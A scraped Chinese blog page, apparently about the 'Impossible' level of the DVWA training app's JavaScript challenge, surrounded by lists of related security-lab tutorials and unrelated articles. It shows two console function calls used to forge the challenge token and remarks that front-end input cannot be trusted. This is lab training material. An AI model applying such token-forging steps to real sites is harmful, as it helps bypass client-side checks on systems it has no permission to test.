token_part_1(“ABCD”, 44)

token_part_2(“XX”)

提交

源码分析-Impossible

嘻嘻,没

复现过程-Impossible

前端所有输入都不能相信

DVWA全关教程手册相关推荐

  1. webgoat全关教程手册

    Webgoat&Webwolf owaspbwa里面的两个服务 搭建 先要安装jdk.Webgoat和Webwolf Webgoat和Webwolf jdk1.8不支持了,需要安装jdk11 ...

  2. python语言教程-Python语言教程手册

    Python语言教程手册 Python是什么? 解释性语言 多范式 介绍 命令后>>>python Python 2.7.3 (default, Aug 1 2012, 05:14: ...

  3. unity3d教程手册首选项

    unity3d教程手册首选项 Unity 供给若干首选项面板,答应您自定义编辑器行动. 通常 ​ 主动改写 (Auto Refresh) 资源更改时编辑器是不是主动更新资源? 总是显现工程导游 (Al ...

  4. linux下dvwa安装教程,Kali linux2.0系统安装DVWA渗透测试平台 焕焕

    作者:icq8756c1a2 焕焕 最近一段时间一直研究Web防火墙,所以需要搭建一个渗透测试平台,以便学习常见的安全漏洞,如:SOL注入,XSS,文件上传包含等.Kali linux2017.1是官 ...

  5. DVWA使用教程(Brute Force)(一)

    DVWA使用教程(Brute Force)(一) DVWA是一个用来练习Web渗透的PHP应用.共有十个模块,分别是 1.Brute Force(爆破) 2.Command Injection(命令注 ...

  6. 即时通讯源码-即时通讯集群服务免费-通讯百万并发技术-Openfire 的安装配置教程手册-哇谷即时通讯集群方案-哇谷云-哇谷即时通讯源码

    即时通讯源码-即时通讯集群服务免费-通讯百万并发技术-Openfire 的安装配置教程手册-哇谷即时通讯集群方案-哇谷云 1,openfire开发环境配置 很久没有写点东西了.最近很烦心,领导不给力. ...

  7. 正则表达式教程手册、正则一点通(Chinar出品)

    C#语法之正则 本文提供全流程,中文翻译. Chinar 坚持将简单的生活方式,带给世人! (拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) Chinar -- 心分享.心创新! ...

  8. dvwa安装教程linux,Kali 2020.3安装docker和vulhub

    一.环境准备 系统镜像: kali-linux-2020.3-installer-amd64 安装docker官方文档: 清华镜像: curl -fsSL https://mirrors.tuna.t ...

  9. DVWA通关教程(中)

    不安全的验证码(Insecure CAPTCHA) Insecure CAPTCHA(不安全的验证码)主要是绕过验证码的安全验证,一般都有逻辑漏洞. 难度(low) 审计代码 <?phpif( ...

最新文章

  1. windows安装Matplotlib
  2. 05 Python 并发编程(管道,事件,信号量,进程池)
  3. BZOJ 2115 [Wc2011] Xor ——线性基
  4. sass部分知识小结
  5. PHP两个字符串比较(人为出错),两字符串类型和数据表面相等,但strcmp()结果不为0...
  6. devops开发模式流程图_2020 Web开发人员路线图–成为前端,后端或DevOps开发人员的视觉指南
  7. springcloud 服务网关Zuul实战(二)路由访问映射规则
  8. 花2.9元买一包头绳,收到一张3元好评返现卡,我凌乱了……
  9. websocket 发送图片_Netty(四)实现WebSocket
  10. python怎么读取csv文件-python3读取csv文件任意行列代码实例
  11. 苹果Mac专业级照片编辑器:RAW Power
  12. ipad无法加入网络怎么办?
  13. 三十、动名词短语 2
  14. Emakefile--快速编译
  15. 东北大学计算机BAT,基于BAT-OOPN方法的污染物排放量化模型研究
  16. xp升级到win7傻瓜教程_最简单xp一键升级win7重装
  17. 讯飞语音包实现Android语音识别
  18. PTA 2 时钟类-1(用默认的构造方法)分数 10
  19. 【Unity入门计划】2D游戏实现敌人来回移动控制脚本
  20. Linux 磁盘相关知识点总结

热门文章

  1. Android 基于Socket的聊天室
  2. Android中ExpandableListView控件的用法详解
  3. 你不知道的微信小程序-李宁-专题视频课程
  4. windows 2003 下SERVU:无法开始服务器.服务器执行缺少
  5. 源码网站合集[细选过的][转贴]
  6. 标准输出缓存在多进程代码中引起的一个问题
  7. 分布式Ruby解决之道
  8. Java 字节数组流(ByteArrayInputStream 和 ByteArrayOutputStream)
  9. 分享5个宝藏小网站,工作学习都能用到
  10. uri (url)保存为jpg图片(文件)